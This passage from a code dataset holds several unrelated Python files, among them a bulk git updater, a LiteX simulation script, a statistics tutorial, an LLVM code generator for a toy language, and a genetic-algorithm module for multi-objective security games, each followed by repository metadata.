process.communicate()\n result = process.returncode\n except OSError as exception:\n result = -1\n print_error('could not execute {0}'.format(cmd))\n print_error(format(exception.strerror))\n if (result != 0) and verbose:\n print_error(stderr)\n print_status(stdout, verbose)\n return result == 0\n\n\ndef print_line(text, error=False):\n \"\"\"\n Prints @text to stdout, or to stderr if @error is True.\n Flushes stdout and stdin.\n \"\"\"\n if not error:\n print(text)\n else:\n print(text, file=sys.stderr)\n sys.stdout.flush()\n sys.stderr.flush()\n\n\ndef print_error(text, result=False):\n \"\"\"\n Prints error message @text and exits with result code @result if not 0.\n \"\"\"\n if len(text):\n print_line('[-] ' + text, True)\n if result:\n sys.exit(result)\n\n\ndef print_status(text, verbose=False):\n \"\"\"\n Prints status message @text if @verbose\n \"\"\"\n if verbose and text:\n print_line('[*] ' + text)\n\n\ndef loop_repositories(options):\n \"\"\"\n Finds all git repositories in @options['root'] and updates them.\n \"\"\"\n for config in glob.glob(options['root'] + '*/.git/config'):\n repo = os.path.abspath(os.path.join(config, \"../..\"))\n print_status('Working on ' + repo)\n os.chdir(repo)\n if execute_command(['git', 'status'], options['verbose']):\n execute_command(['git', 'pull'], options['verbose'])\n\n\ndef parse_arguments(banner):\n \"\"\"\n Parses command line arguments.\n Uses @banner when showing description.\n\n Returns: an array of options.\n \"\"\"\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent(banner + '''\\\n - Bulk updates git repositories\n\nCopyright (C) 2016 Peter Mosmans [Go Forward]\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.'''))\n parser.add_argument('root', type=str, help=\"\"\"root directory\"\"\")\n parser.add_argument('-v', '--verbose', action='store_true', default=False,\n help='Be more verbose')\n options = vars(parser.parse_args())\n return options\n\n\ndef preflight_checks(options):\n \"\"\"\n Check whether valid @options are given.\n \"\"\"\n try:\n if not os.path.isdir(options['root']):\n print_error('Root directory {0} does not exist'.\n format(options['root']), -1)\n except TypeError:\n print_error('Error verifying paths', -1)\n\n\ndef main():\n \"\"\"\n Main program loop.\n \"\"\"\n banner = 'git-updater version ' + VERSION\n options = parse_arguments(banner)\n preflight_checks(options)\n loop_repositories(options)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PeterMosmans/git-utilities","sub_path":"updaterepos.py","file_name":"updaterepos.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"73869218395","text":"\"\"\"\nSimulate the target with verilator\n\"\"\"\nfrom migen import *\nfrom litex.soc.integration.builder import Builder, builder_args, builder_argdict\nfrom litex.boards.targets.cmod_a7 import BaseSoC\nfrom litex.build.sim import SimPlatform\nfrom litex.build.generic_platform import Pins, Subsignal\nfrom migen.genlib.io import CRG\nfrom cmod_a7_design_example import MySoc\nfrom litex.build.sim.config import SimConfig\nfrom litex.soc.cores import uart\nfrom liteeth.phy.model import LiteEthPHYModel\nfrom liteeth.core.mac import LiteEthMAC\nfrom litex.soc.integration.soc_core import mem_decoder, get_mem_data\nimport argparse\n\n\nclass SimPins(Pins):\n def __init__(self, n=1):\n Pins.__init__(self, \"s \" * n)\n\n\n_io = [\n (\"sys_clk\", 0, SimPins(1)),\n (\"sys_rst\", 0, SimPins(1)),\n (\"user_led\", 0, SimPins(1)),\n (\"serial\", 0,\n Subsignal(\"source_valid\", SimPins()),\n Subsignal(\"source_ready\", SimPins()),\n Subsignal(\"source_data\", SimPins(8)),\n\n Subsignal(\"sink_valid\", SimPins()),\n Subsignal(\"sink_ready\", SimPins()),\n Subsignal(\"sink_data\", SimPins(8)),\n ),\n (\"eth_clocks\", 0,\n Subsignal(\"none\", SimPins()),\n ),\n (\"eth\", 0,\n Subsignal(\"source_valid\", SimPins()),\n Subsignal(\"source_ready\", SimPins()),\n Subsignal(\"source_data\", SimPins(8)),\n\n Subsignal(\"sink_valid\", SimPins()),\n Subsignal(\"sink_ready\", SimPins()),\n Subsignal(\"sink_data\", SimPins(8)),\n )\n]\n\n\nclass Platform(SimPlatform):\n default_clk_name = \"sys_clk\"\n default_clk_period = 1000 # ~ 1MHz\n\n def __init__(self):\n SimPlatform.__init__(self, \"SIM\", _io)\n\n def do_finalize(self, fragment):\n \"\"\" ignore adding a clock constraint \"\"\"\n pass\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__)\n builder_args(parser)\n MySoc.basesoc_args(parser)\n parser.add_argument(\"--trace\", action=\"store_true\",\n help=\"enable VCD tracing\")\n parser.add_argument(\"--rom-init\", default=None,\n help=\"rom_init file\")\n parser.set_defaults(\n integrated_rom_size=0x8000,\n integrated_main_ram_size=0x8000,\n # integrated_sram_size=0, # Litex will complain if 0!\n cpu_type=\"vexriscv\",\n platform=\"cmod_a7_sim\",\n clk_freq=int(1e6),\n with_uart=False # We will add our own mock uart\n )\n args = parser.parse_args()\n soc_kwargs = vars(args)\n if args.rom_init:\n soc_kwargs[\"integrated_rom_init\"] = get_mem_data(args.rom_init)\n soc = MySoc(crg=CRG, **soc_kwargs)\n\n # Push in a fake uart\n soc.submodules.uart_phy = uart.RS232PHYModel(soc.platform.request(\"serial\"))\n soc.submodules.uart = uart.UART(soc.uart_phy)\n\n sim_config = SimConfig(default_clk=\"sys_clk\")\n # sim_config.add_module(\"ethernet\", \"eth\", args={\"interface\": \"tap0\", \"ip\": \"192.168.1.100\"})\n sim_config.add_module(\"serial2console\", \"serial\")\n # sim_config.add_module(\"serial2tcp\", \"serial\", args={\"port\": 55555})\n # now you can do these 2 things to get a terminal\n # telnet localhost 55555\n # litex_term socket://localhost:55555\n # soc.add_constant(\"TFTP_SERVER_PORT\", int(tftp_port))\n\n builder = Builder(soc, **builder_argdict(args))\n builder.build(run=False, sim_config=sim_config, trace=args.trace)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yetifrisstlama/litex_test_project","sub_path":"cmod_a7_2/cmod_a7_sim.py","file_name":"cmod_a7_sim.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"12519906858","text":"# -*- coding: utf-8 -*-\n## ---- Tut04-VariableAleatoriaDiscreta\n\"\"\"\nwww.postdata-statistics.com\nPOSTDATA. Introducción a la Estadística\nTutorial 04. \nFichero de comandos Python para el estudio de \nuna variable aleatoria discreta.\n\"\"\"\n## Importacion de Modulos\n\nimport numpy as np \nimport matplotlib.pyplot as plt\nimport math as m \n\n\n# Definicion de X a partir de valores y probabilidades.\n\nvaloresX = [2, 4, 7, 8, 11]\nprobabilidadesX = [1/5, 1/10, 1/10, 2/5, 1/5]\nX = [[valoresX[_], probabilidadesX[_]] for _ in range(0, len(valoresX))]\n\n# Alternativamente, definicion de la variable X como lista de pares [valor, probabilidad].\n# Descomentar la siguiente linea para usarla.\n\n# X = [[2, 1/5], [4, 1/10], [7, 1/10], [8, 2/5], [11, 1/5]]\n\n# En cualquier caso:\n\nvaloresX = [x[0] for x in X]\nprobabilidadesX = [x[1] for x in X]\n\n# Calculo de la media.\n\nmedia = sum([x[0] * x[1] for x in X])\nprint(\"Media de X = {0:0.4f}\".format(media))\n\n# Calculo de la varianza y desviacion tipica.\n\nvarianza = sum([(x[0] - media)**2 * x[1] for x in X])\nprint(\"varianza = {0:0.4f}\".format(varianza))\n\nsigma = m.sqrt(varianza)\nprint(\"desviacion tipica = {0:0.4f}\".format(sigma))\n\n# Función de distribucion.\n\nFdistX = np.cumsum(probabilidadesX).tolist()\n\n# y su tabla:\n\nk = len(valoresX)\nprint(\"\\nTabla de densidad de la variable aleatoria X:\\n\")\nlinea = \"_\" * 49\nprint(linea)\nprint(\"| Valor x | Probabilidad p | Fun. de dist. F(x) |\")\nprint(linea)\nfor i in range(0, k):\n print(\"| {0: 7d} | {1: 14.2f} | {2: 18.2f} |\".format(valoresX[i],\\\n probabilidadesX[i], FdistX[i]))\nprint(linea)\n\n# Gráfico de barras de la función de densidad.\n\nplt.suptitle(\"Gráfico de barras de la función de densidad:\")\nplt.xticks(valoresX)\nplt.axis([min(valoresX) - 1,max(valoresX) + 1, 0, 1])\nplt.bar(valoresX, probabilidadesX, color='tan', align='center')\n\n# Reset gráfico.\n\nplt.figure()\n\n# Gráfico de escalera de la función de distribucion.\n\nplt.suptitle(\"Gráfico de escalera de la función de distribucion:\")\nplt.xticks(valoresX)\nplt.step([min(valoresX) - 2] + valoresX + [max(valoresX) + 1],\n [0] + FdistX + [1.00001], where='post', linewidth=4.0, color='red')\n","repo_name":"fernandosansegundo/PostDataStatistics","sub_path":"TutorialesPython/code/Tut04-VariableAleatoriaDiscreta.py","file_name":"Tut04-VariableAleatoriaDiscreta.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25945616197","text":"import numpy as np\nimport numba\n\n\n@numba.jit(nopython=True)\ndef find_particle_in_grid(particle_pos, h):\n \"\"\"Find position (index and offset from lower left node) of particle in grid\"\"\"\n j, x = divmod(particle_pos[0], h)\n k, y = divmod(particle_pos[1], h)\n return int(j), int(k), x, y\n\n\n@numba.jit(nopython=True)\ndef cic_charge_weighting(particle_pos, particle_charge, active_particles, rho, h):\n \"\"\"Cloud-in-cell charge weighting of particles to rho grid\"\"\"\n S_h = h**2 # cell surface\n n = rho.shape[0]\n for i in range(active_particles):\n j, k, x, y = find_particle_in_grid(particle_pos[i], h)\n rho[j,k] += particle_charge * (h-x)*(h-y)/S_h\n jj, kk = j+1, k+1\n if jj < n:\n rho[jj,k] += particle_charge * x*(h-y)/S_h\n if kk < n:\n rho[jj,kk] += particle_charge * x*y/S_h\n if kk < n:\n rho[j,kk] += particle_charge * (h-x)*y/S_h\n\n\n@numba.jit(nopython=True)\ndef cic_field_weighting(particle_pos, particle_field, active_particles, field, h):\n \"\"\"Cloud-in-cell field weighting of field grid to particles\"\"\"\n S_h = h**2 # cell surface\n n = field.shape[0]\n for i in range(active_particles):\n j, k, x, y = find_particle_in_grid(particle_pos[i], h)\n particle_field[i] = 0.0\n particle_field[i] += field[j,k] * (h-x)*(h-y)/S_h\n jj, kk = j+1, k+1\n if jj < n:\n particle_field[i] += field[jj,k] * x*(h-y)/S_h\n if kk < n:\n particle_field[i] += field[jj,kk] * x*y/S_h\n if kk < n:\n particle_field[i] += field[j,kk] * (h-x)*y/S_h\n\n","repo_name":"smartass101/pmpl_pic","sub_path":"pic/weighting.py","file_name":"weighting.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32096529809","text":"from statistics import mean\r\ndata =[]\r\ndef inputData():\r\n while True:\r\n name = input('이름:')\r\n kor = int( input('국어:') )\r\n eng = int( input('영어:') )\r\n math = int( input('수학:') )\r\n data.append( (name, kor, eng,math) )\r\n yn= input('계속 입력하시겠습니까(y/n)?')\r\n if yn=='n':\r\n break\r\n# print(data)\r\ndef title():\r\n print(\"=\"*50)\r\n print('이름','국어','영어','수학',sep='\\t')\r\n print(\"=\"*50)\r\ndef outputData():\r\n print(\"=\"*50)\r\n print('이름','국어','영어','수학','총점','평균',sep='\\t')\r\n print(\"=\"*50)\r\n for n,k,e,m in data:\r\n tot = k+e+m\r\n print( n,k,e,m,tot,tot/3,sep='\\t\\t' )\r\n ktot = sum( [n[1] for n in data ] )\r\n etot = sum( [n[2] for n in data ] )\r\n mtot = sum( [n[3] for n in data ] )\r\n kmean = mean( [n[1] for n in data ] )\r\n emean = mean( [n[2] for n in data ] )\r\n mmean = mean( [n[3] for n in data ] )\r\n kmax = max( data, key=lambda v:v[0])[1]\r\n emax = max( data, key=lambda v:v[1])[2]\r\n mmax = max( data, key=lambda v:v[2])[3]\r\n print('총점:','국어',ktot,'영어',etot,'수학',mtot)\r\n print('평균:','국어',kmean,'영어',emean,'수학',mmean)\r\n print('최고점수:','국어',kmax,'영어',emax,'수학',mmax)\r\n\r\ndef searchData():\r\n sname = input('검색할 이름을 입력하세요:')\r\n fName =filter( lambda v:v[0]==sname,data)\r\n title()\r\n for n,k,e,m in fName:\r\n print( n,k,e,m,sep='\\t\\t' )\r\n\r\ndef showMenu():\r\n menu = {1:inputData, 2:outputData, 3:searchData,4:exit}\r\n while True:\r\n print( '1.입력','2.출력','3.검색','4.종료',sep='\\n')\r\n nSel = int( input('번호를 입력하세요:'))\r\n menu[nSel]()\r\n\r\nshowMenu()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"andy-kr/PythonWorkSpace","sub_path":"secondSolA.py","file_name":"secondSolA.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17189709234","text":"from llvmlite import binding, ir\nfrom nachlang import utils\nfrom functools import partial\n\n# LLVM Initialization\n# https://llvmlite.readthedocs.io/en/latest/user-guide/binding/initialization-finalization.html?highlight=initialize#initialization-and-finalization\n\nsymbol_table = {}\n\nbinding.initialize()\nbinding.initialize_native_target()\nbinding.initialize_native_asmprinter()\n\n# TODO: Review this ###\nmodule = ir.Module(name=__file__)\nmodule.triple = binding.get_default_triple()\nfunc_type = ir.FunctionType(ir.IntType(32), [], False)\nbase_func = ir.Function(module, func_type, name=\"main\")\nblock = base_func.append_basic_block(name=\"entry\")\nbuilder = ir.IRBuilder(block)\n####\n\n\n# Types\n\nINT32 = ir.IntType(32)\nINT1 = ir.IntType(1)\n\n\n#\n# Common resolvers\n#\n\n\ndef get_first_key(data: dict, max_length: int = 1):\n if len(data) > max_length:\n raise Exception(f\"Unexpected length for {data}\")\n\n return next(iter(data.keys()))\n\n\n# TODO: rename?\ndef resolve_ast_object(o: dict):\n \"\"\"\n Expects an AST object.\n\n The Object is represented by a dictionary which should only contain one key\n \"\"\"\n return nodes[o[\"name\"]](o[\"value\"])\n\n\n#\n# Resolvers\n#\n\n\ndef resolve_with_no_returns(values):\n for e in values:\n resolve_ast_object(e)\n\n\ndef resolve_expression(expression):\n exp = utils._filter_parens(expression)[0]\n\n if type(exp) == dict:\n return resolve_ast_object(exp)\n else:\n expression_type = exp.name\n return nodes[expression_type](exp)\n\n\ndef resolve_binary_operation(bin_op):\n lhs = resolve_expression(bin_op[0][\"value\"])\n binary_operand = resolve_operand(bin_op[1])\n rhs = resolve_expression(bin_op[2][\"value\"])\n return binary_operand(lhs, rhs)\n\n\ndef resolve_define_var(definition):\n var_name = definition[1]\n\n expression = definition[2]\n expression_value = nodes[\"expression\"](expression[\"value\"])\n\n var_pointer = builder.alloca(INT32)\n symbol_table[var_name.value] = var_pointer\n builder.store(expression_value, var_pointer)\n\n\ndef resolve_if_statement(if_statement):\n \"\"\"\n Allows both if/else type statements or just if statements\n\n * if it's an if/else statement the length of the if_statement arg will be equal to 10\n * if it's an if statement the length of the if_statement arg will be equal to 7\n \"\"\"\n with builder.if_else(\n builder.trunc(resolve_ast_object(if_statement[2]), INT1)) as (then, otherwise):\n with then:\n resolve_ast_object(if_statement[4])\n with otherwise:\n if len(if_statement) == 10:\n resolve_ast_object(if_statement[7])\n\n\n#\n# Terminals\n#\n\n\ndef resolve_number(num):\n return ir.Constant(INT32, num.value)\n\n\ndef resolve_operand(operand):\n if operand.name == \"PLUS_SIGN\":\n return builder.add\n if operand.name == \"MINUS_SIGN\":\n return builder.sub\n if operand.name == \"MULTIPLICATION_SIGN\":\n return builder.mul\n if operand.name == \"DIVISION_SIGN\":\n return builder.sdiv\n if operand.name in [\"EQ\", \"NEQ\", \"LT\", \"GT\", \"GTE\", \"LTE\"]:\n return partial(builder.icmp_signed, operand.value)\n if operand.name == \"AND\":\n return builder.and_\n if operand.name == \"OR\":\n return builder.or_\n\n raise Exception(f\"Couldn't resolve operand {operand}\")\n\n\ndef resolve_var(var):\n pointer = symbol_table.get(var.value)\n if pointer == None:\n raise Exception(f\"Variable not defined {var.name} at {var.source_pos}\")\n return builder.load(pointer)\n\n\ndef ignore(item):\n return \n\n\n#\n# Function pointers\n#\n\nnodes = {\n \"define_var\": resolve_define_var,\n \"binary_operation\": resolve_binary_operation,\n \"expression\": resolve_expression,\n \"NUMBER\": resolve_number,\n \"OPEN_PAREN\": ignore,\n \"CLOSE_PAREN\": ignore,\n \"VAR\": resolve_var,\n \"statement_list\": resolve_with_no_returns,\n \"statement\": resolve_with_no_returns,\n \"if_statement\": resolve_if_statement,\n}\n\n#\n# LLVM code gen\n#\n\n\ndef print_module_body(module):\n print(\"\\n\".join(module._get_body_lines()))\n\n\ndef generate_llvm_ir(ast):\n resolve_ast_object(ast)\n # with open(\"output.ll\", \"w\") as f:\n # f.write(str(module))\n print_module_body(module)\n return module\n","repo_name":"ignaciodelmont/nachlang","sub_path":"nachlang/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4271810029","text":"# 演化算法得到粗略解后,将演化算法作为先验知识做进一步优化\r\n\r\nimport numpy as np\r\nfrom sklearn import preprocessing\r\n\r\n\r\nfrom typing import *\r\nimport operator\r\nimport time\r\nimport copy\r\n\r\nimport pkg_resources\r\n\r\nimport sys\r\nsys.path.append('./')\r\n\r\nfrom pymoo.factory import get_reference_directions, get_sampling, get_crossover, get_mutation\r\nfrom pymoo.model.individual import Individual\r\nfrom pymoo.model.population import Population\r\n\r\n\r\nfrom pymoo.model.result import Result\r\nfrom pymoo.optimize import minimize\r\nfrom pymoo.problems.securitygame.MOSG import SGs1\r\nfrom MOSGs.ORIGAMIM import ORIGAMIM\r\nfrom pymoo.MOSGsGeneticSolver.performance import Performance\r\n\r\n\r\nfrom securitygame_core.MO_security_game import MOSG\r\nfrom pymoo.MOSGsGeneticSolver.truing_genetic_problem import TruingGP\r\nfrom pymoo.MOSGsGeneticSolver.genetic_turing import GeneticTruing\r\n\r\n\r\nimport tool.algorithm\r\n\r\n\r\n\r\nclass Truing():\r\n\r\n\r\n def __init__(self, res:Result=None, para_dir=None):\r\n\r\n self.para_dir = para_dir\r\n\r\n # 读入数据\r\n self.res:Result = res\r\n self.problem:SGs1 = res.problem\r\n\r\n # 来自种群,规模远大于opt\r\n self.x:np.ndarray = res.pop.get('X')\r\n self.fit:np.ndarray = res.pop.get('F') * -1 # maximize fit\r\n feasible_bool:np.ndarray = res.pop.get('feasible')\r\n self.feasible = np.array(list(map(lambda x: int(x),feasible_bool)))\r\n self.ct:np.ndarray = res.pop.get('CT')\r\n\r\n # 来自opt,复杂度较高的方法推荐opt,规模小\r\n self.opt = res.opt\r\n self.opt_x = res.opt.get('X')\r\n self.opt_fit = res.opt.get('F') * -1\r\n feasible_bool:np.ndarray = res.opt.get('feasible')\r\n self.opt_feasible = np.array(list(map(lambda x: int(x),feasible_bool)))\r\n # self.opt_ct:np.ndarray = res.opt.get('CT')\r\n\r\n # 最终保存的pf信息\r\n self.fit_pf:Union[None,np.ndarray] = None # minimize Fitness\r\n self.ct_pf:List[np.ndarray] = [] # 一般算法算完就返回,不需要存ct;只有分阶段的算法需要保存\r\n\r\n\r\n def check(self):\r\n a = self.res.pop.get('F')\r\n for best_fit in self.res.F:\r\n for idx in range(a.shape[0]):\r\n if operator.eq(best_fit, a[idx]).all():\r\n break\r\n if idx == a.shape[0]-1:\r\n print('opt_fit dont exist in pop_fit, error!!!')\r\n\r\n\r\n # NOTE: 提供的pf_total必须是minimize task\r\n def mulResCompare(self, pf_total:List[np.ndarray], name_total:List[str]):\r\n pf:np.ndarray = np.vstack(pf_total)\r\n len_total = [len(pf) for pf in pf_total]\r\n print(Performance(pf, len_total, name_total, para_dir=self.para_dir))\r\n\r\n\r\n def update_by_idx(self, idx:Union[List[int], np.ndarray]):\r\n self.ct = self.ct[idx]\r\n self.fit = self.fit[idx]\r\n self.feasible = self.feasible[idx]\r\n self.x = self.x[idx]\r\n\r\n\r\n # 将编码X转化为ct\r\n def x2CtGamma(self, x:np.ndarray, fit_true:np.ndarray=None, model:SGs1=None)\\\r\n ->Tuple[Union[np.ndarray, None], Dict[int,List[int]], Dict[int,List[float]], Dict[int, int]]:\r\n if model is None:\r\n model = SGs1(player_num=self.problem.player, target_num=self.problem.target)\r\n # decode DNA into strategy\r\n strategy = model.GetQuery(x)\r\n return model.Strategy2Ct(strategy)\r\n # DEBUG\r\n # if ct is not None: # feasible\r\n # model.cal_payoff(ct)\r\n # fit = model.cal_payoff_defender()\r\n # if not operator.eq(fit, fit_true).all():\r\n # print('error1')\r\n # else: # not feasible # 一般情况下不应该出现该情况\r\n # return None\r\n\r\n # NOTE: truing_by_mincov是在SG框架中的程序,所以处理的是maximise task\r\n # 该函数并非不需要ct,而是提供idx下标,访问ct;相反不需要fit\r\n def truing_by_mincov(self, ct_i:np.ndarray, b:np.ndarray, pf_total=None, ct_star_total:np.ndarray=None)\\\r\n ->Tuple[np.ndarray, np.ndarray]:\r\n K = 3\r\n count = 0 # 记录精修的次数\r\n # 每次搜索到新方案ct后,结合game table算fitness\r\n problem_mosg = MOSG(player_num=self.problem.player, target_num=self.problem.target)\r\n model = ORIGAMIM(MOSG=problem_mosg)\r\n\r\n for gameidx in range(self.fit.shape[1]): # 第二层for遍历obj\r\n # 利用ct尝试精修,用到MINCOV\r\n model.c = ct_i\r\n model.updateC()\r\n model.updateU(i=gameidx)\r\n # 需要注意的是,由于gmosg编码的破��性,next和idx对应不一定是相同的,但是影响并不是很大只要next>1\r\n idx = np.argsort(-model.U_ia)\r\n # NOTE: 由于不好确定next的具体取值,将next设为T一定没错,只是时间会增长\r\n # next = model.getNextLen(gap)\r\n next = min(model.getNextLen(epsilon=0.1)*K, self.problem.target)\r\n ct_star = model.MINCOV(gameIdx=gameidx, b=b, next=next, idx=idx)\r\n if ct_star is None:\r\n continue\r\n if ct_star_total is not None and ct_star in ct_star_total:\r\n continue\r\n if ct_star_total is not None:\r\n ct_star_total = np.vstack([ct_star, ct_star_total])\r\n else:\r\n ct_star_total = ct_star\r\n model.c = ct_star\r\n model.updateC()\r\n model.updateU(i=gameidx)\r\n # self.problem.cal_payoff(ct_star)\r\n # fit_star = self.problem.cal_payoff_defender()\r\n for obj_idx in range(self.fit.shape[1]):\r\n model.leftAllocation(b=b, obj_idx=obj_idx)\r\n ct_final = model.c\r\n self.problem.cal_payoff(ct_final)\r\n fit_final = self.problem.cal_payoff_defender()\r\n if pf_total is None:\r\n pf_total = fit_final\r\n else:\r\n pf_total = np.vstack([pf_total, fit_final])\r\n # ct_total = np.vstack([ct_total, ct_final])\r\n count += 1\r\n # print('找到更优解{}处'.format(count))\r\n return pf_total, ct_star_total\r\n\r\n # 下面mosgSearch_pop和mosgSearch_opt分别代表从全体种群中开始搜索还是从最优解中开始搜索\r\n # 注:两者复杂度相差不大,因此直接使用mosgSearch_pop,因为它效果优于_opt\r\n # _opt与_pop的区别:种群数量远大于最优解,最优解是种群的子集\r\n\r\n '''# 遍历求解\r\n # 重新算当前Ct的Fit,作为b,传给Direct Search解\r\n # 每个目标依次单独优化,优化目标为单目标上提升最大化并且所需资源最小化,留一个目标,吧剩余资源分给他。'''\r\n def mosgSearch_pop(self): # 在整个种群中找精修的方法\r\n\r\n # 先从res把整数编码转成实数编码ct\r\n pf_total:Union[None,np.ndarray] = None\r\n # ct_total:Union[None,np.ndarray] = None\r\n ct_star_total = None\r\n for idx in range(self.x.shape[0]):\r\n ct, _, _, _ = self.x2CtGamma(x=self.x[idx], model=self.problem, fit_true=self.fit[idx])\r\n if ct is not None:\r\n self.ct[idx] = ct\r\n self.feasible[idx] = 1\r\n else:\r\n self.feasible[idx] = 0\r\n self.update_by_idx(idx=self.feasible == 1)\r\n\r\n timer_start = time.perf_counter()\r\n for i in range(self.ct.shape[0]): # 第一层for遍历pop\r\n # 想法是每个ct用MINCOV算一次ctPrime,然后循环check是否违反b\r\n # 若死锁型违反则无视(TODO),或者返回一个相对好的\r\n # 得到cPrime后调用leftAllocation循环N次\r\n b = self.fit[i]\r\n # 把已知的可行解放入pf集,保证解不退化\r\n if pf_total is None:\r\n pf_total = b\r\n # ct_total\r\n else:\r\n pf_total = np.vstack([pf_total, b])\r\n # ct_total\r\n pf_total, ct_star_total = self.truing_by_mincov(self.ct[i], b, pf_total, ct_star_total)\r\n timer_end = time.perf_counter()\r\n\r\n print('mosgSearch_pop:{}'.format(timer_end - timer_start))\r\n # 暂时忽略ct_pf\r\n # self.ct_pf = ct_star_total\r\n self.fit_pf = -pf_total\r\n\r\n def initialization(self, ub:np.ndarray, lb:np.ndarray, pop_size:int, sample_real:np.ndarray) ->np.ndarray:\r\n # 分别计算distance from sample to up-bound+1 and to low-bound,\r\n # 然后取axis_normalised*dis2lb if axis_normalised<0 otherwise axis_normalised*dis2ub\r\n # 最后加上best_sample\r\n sample_len = len(sample_real)\r\n conv = np.eye(N=sample_len)\r\n axis = np.random.multivariate_normal(mean=sample_real, cov=conv, size=pop_size)\r\n axis[0] = 0 # 第一条数据保存为best_sample,不发生偏移\r\n axis_normalised = preprocessing.MaxAbsScaler().fit_transform(axis) # [-1, 1]\r\n dis2lb = sample_real - lb\r\n dis2ub = ub-0.01 - sample_real\r\n sampling = np.repeat(a=sample_real[np.newaxis,:], repeats=pop_size, axis=0)\r\n loc_neg = axis_normalised < 0\r\n loc_pos = axis_normalised > 0\r\n sampling_neg = sampling + dis2lb * axis_normalised\r\n sampling_pos = sampling + dis2ub * axis_normalised\r\n sampling[loc_pos] = sampling_pos[loc_pos]\r\n sampling[loc_neg] = sampling_neg[loc_neg]\r\n return np.floor(sampling).astype(int)\r\n\r\n def real2binary(self, real:np.ndarray, problem:TruingGP) ->np.ndarray:\r\n part_start = [sum(problem.part_len[:i]) for i in range(len(problem.part_len))]\r\n binary_len = sum(problem.part_len)\r\n binary = np.empty(shape=[binary_len,])\r\n for idx, target in enumerate(problem.conflict_target):\r\n r = real[idx]\r\n b = bin(r)[2:]\r\n b = '0' * (problem.part_len[idx] - len(b)) + b\r\n for i, b_i in enumerate(b):\r\n binary[part_start[idx] + i] = int(b_i)\r\n return binary\r\n\r\n # def calGamma(self):\r\n # self.Gamma:List[Dict[int, List[int]]] = []\r\n # for idx in range(self.x.shape[0]): # 第一个循环pop\r\n # x =\r\n\r\n # TODO LIST\r\n # TODO 1: 初始化\r\n # TODO 2: 把mincov加到每轮迭代中\r\n\r\n # 让函数直接返回发生冲突的ct集,然后对着ct集编码\r\n def geneticSearch(self, pop_size:int=100, gen_n:int=100) ->np.ndarray:\r\n # 由于Gamma数据结构复杂持久化,因此根据读入数据重新计算Gamma\r\n ref_dirs = get_reference_directions(\"das-dennis\", self.problem.n_obj, n_partitions=12)\r\n ct_star_total = None\r\n for i in range(self.opt_fit.shape[0]): # for用于遍历pop\r\n # NOTE: 这里求idx=i时的self.opt_x的ct,讲道理应该要存到self.opt_ct,没存,以后万一要用可能照成一定麻烦\r\n ct, _, conflict_ct, ct_idx = self.x2CtGamma(x=self.opt_x[i], model=self.problem)\r\n if ct is None: # not feasible\r\n continue\r\n problem = TruingGP(conflict=conflict_ct, ct=ct, problem=self.problem, ct_star_total=ct_star_total)\r\n ub = np.array(problem.part_max)\r\n lb = np.zeros(ub.shape)\r\n # ct_idx_binary = self.real2binary(ct_idx_real, problem)\r\n ct_idx_real:np.ndarray = np.array([ct_idx[target] for target in problem.conflict_target])\r\n sampling_real = self.initialization(ub=ub, lb=lb, pop_size=pop_size, sample_real=ct_idx_real)\r\n sampling_binary = np.ndarray(shape=[pop_size, problem.n_var])\r\n for j in range(pop_size):\r\n sampling_binary[j] = self.real2binary(sampling_real[j], problem)\r\n algorithm = GeneticTruing(pop_size=pop_size,\r\n ref_dirs=ref_dirs, display=False, save_history=False, verbose=False,\r\n # sampling=get_sampling('bin_random'),\r\n sampling=sampling_binary,\r\n crossover=get_crossover('bin_hux'),\r\n mutation=get_mutation('bin_bitflip'),\r\n eliminate_duplicates=True)\r\n # NOTE: res: minimize task\r\n res = minimize(problem=problem,\r\n algorithm=algorithm,\r\n seed=1,\r\n termination=('n_gen', gen_n))\r\n ct_star_total = problem.ct_star_total\r\n # print('gen_n={}, pop_size={}, 参数下,程序运行时间:{}秒'\r\n # .format(gen_n, pop_size, res.exec_time))\r\n if self.fit_pf is None: # NOTE: minimise task\r\n self.fit_pf = res.opt.get('F')\r\n self.ct_pf = res.opt.get('CT')\r\n else:\r\n self.fit_pf = np.vstack([self.fit_pf, res.opt.get('F')])\r\n self.ct_pf = np.vstack([self.ct_pf, res.opt.get('CT')])\r\n pf_total_temp = self.fit_pf\r\n\r\n # mincov 精修\r\n # NOTE: maximise task\r\n self.fit_pf = -self.fit_pf\r\n ct_star_total = None\r\n pf_total = None\r\n for idx, b in enumerate(self.fit_pf):\r\n if np.isnan(self.ct_pf[idx]).any():\r\n continue\r\n if pf_total is None:\r\n pf_total = b\r\n else:\r\n pf_total = np.vstack([pf_total, b])\r\n pf_total, ct_star_total = self.truing_by_mincov(self.ct_pf[idx], b, pf_total, ct_star_total)\r\n self.fit_pf = -pf_total\r\n return pf_total_temp\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"1589864500/SDES","sub_path":"pymoo/MOSGsGeneticSolver/truing.py","file_name":"truing.py","file_ext":"py","file_size_in_byte":13629,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"50"} +{"seq_id":"2667988912","text":"\nfrom random import shuffle\nimport click\n\n\n@click.command()\n@click.option('--startnumber', '-s', default=1, required=True, help='begin range number. default: 1')\n@click.option('--endnumber', '-e', default=10, required=True, help='end range 